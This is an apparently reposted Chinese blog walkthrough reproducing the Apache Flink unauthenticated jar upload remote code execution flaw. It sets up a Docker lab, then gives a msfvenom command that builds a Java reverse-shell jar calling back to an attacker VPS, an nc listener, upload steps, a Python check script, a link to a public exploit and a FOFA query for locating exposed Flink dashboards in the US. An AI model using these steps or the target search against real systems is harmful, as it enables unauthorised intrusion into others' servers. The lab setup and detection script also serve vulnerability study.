Apache Flink任意Jar包上传导致远程代码执行漏洞复现

目录

    影响范围

站点特点

docker搭建flink环境

漏洞复现

简单的漏洞检测脚本

漏洞利用exp

FOFA搜索



Apache Flink是由Apache软件基金会开发的开源流处理框架,它可以用来做批处理,即处理静态的数据集、历史的数据集;也可以用来做流处理,即实时地处理一些实时数据流,实时地产生数据的结果;也可以用来做一些基于事件的应用,比如说滴滴通过Flink CEP实现实时监测用户及司机的行为流来判断用户或司机的行为是否正当。

用途:应用场景包括实时的机器学习,实时的统计分析,实时的异常监测等等。

2019年11月11号,安全工程师Henry Chen披露了一个Apache Flink未授权上传jar包导致远程代码执行的漏洞。由于Apache Flink Dashboard 默认无需认证即可访问,通过上传恶意jar包并触发恶意代码执行,从而获取shell。

    影响范围

                <= 1.9.1(最新版本)

站点特点

            抓取站的包,可以看到该zhan站点在实时的进行刷新

docker搭建flink环境

     用的ubuntu系统,编写docker-compose.yml文件,内容如下

version: "2.1"
services:
  jobmanager:
    image: flink:1.9.1  //如果要换成其他版本如1.9.2就换成flink:1.9.2
    expose:
      - "6123"
    ports:
      - "8081:8081"
    command: jobmanager
    environment:
      - JOB_MANAGER_RPC_ADDRESS=jobmanager
 
  taskmanager:
    image: flink:1.9.1  //如果要换成其他版本如1.9.2就换成flink:1.9.2
    expose:
      - "6121"
      - "6122"
    depends_on:
      - jobmanager
    command: taskmanager
    links:
      - "jobmanager:jobmanager"
    environment:
      - JOB_MANAGER_RPC_ADDRESS=jobmanager

     执行docker-compose up -d 启动环境 

进去docker环境里面,查看版本 是1.9.1

     docker exec -it 容器id bash

访问8081

 

漏洞复现

   生成jar文件

         在kali中执行下面的语句(要公网服务器的ip,不然可能反弹不了shell,要是目标在公网上,你给个内网地址当然就反弹不了了),生成jar文件

msfvenom -p java/shell_reverse_tcp LHOST=公网VPS的地址 LPORT=端口 -f jar >fuck.jar

VPS开启监听

       nc -lvp 6666

提交jar文件

       按照下面的步骤进行提交,然后点击submit

接收反弹shell

     这个bash有点简陋,直接输命令就行,别以为没有反弹成功

注意:我用了1.9.2/3的版本也能够利用成功,为啥?

 

简单的漏洞检测脚本

python poc.py url

#author xcc
import requests
import argparse

class Apache_Flink():
    def url(self):
            parser = argparse.ArgumentParser(description='Apache Flink任意Jar包上传导致远程代码执行漏洞检测POC')
            parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:8090')
            args = parser.parse_args() 
            global target_url
            target_url = args.target_url
            print("Apache Flink任意Jar包上传导致远程代码执行漏洞检测POC!!")
            print("正在执行检测...")
            print("目标地址:",target_url)
            return target_url

    def check(self):
        url = target_url + '/jar/upload'
        try:
            res = requests.get(url=url, timeout=4)
            s = res.text
            if "Unable to load requested file" in s:
                print('Exploit Success')
            else:
                print('Exploit Failed')
        except:
            print('请求失败')

if __name__ == '__main__':
    test = Apache_Flink()
    test.url()
    test.check()
    

 

漏洞利用exp

   github上大佬的:https://github.com/LandGrey/flink-unauth-rce

  直接进行命令执行

 

FOFA搜索

fofa关键词:

"apache-flink-dashboard" && country="US"

                                                                                                                                                         

                                                                                                                                                         ——心,若没有栖息的地方,到哪里都是流浪

猜你喜欢

转载自blog.csdn.net/qq_44159028/article/details/112366114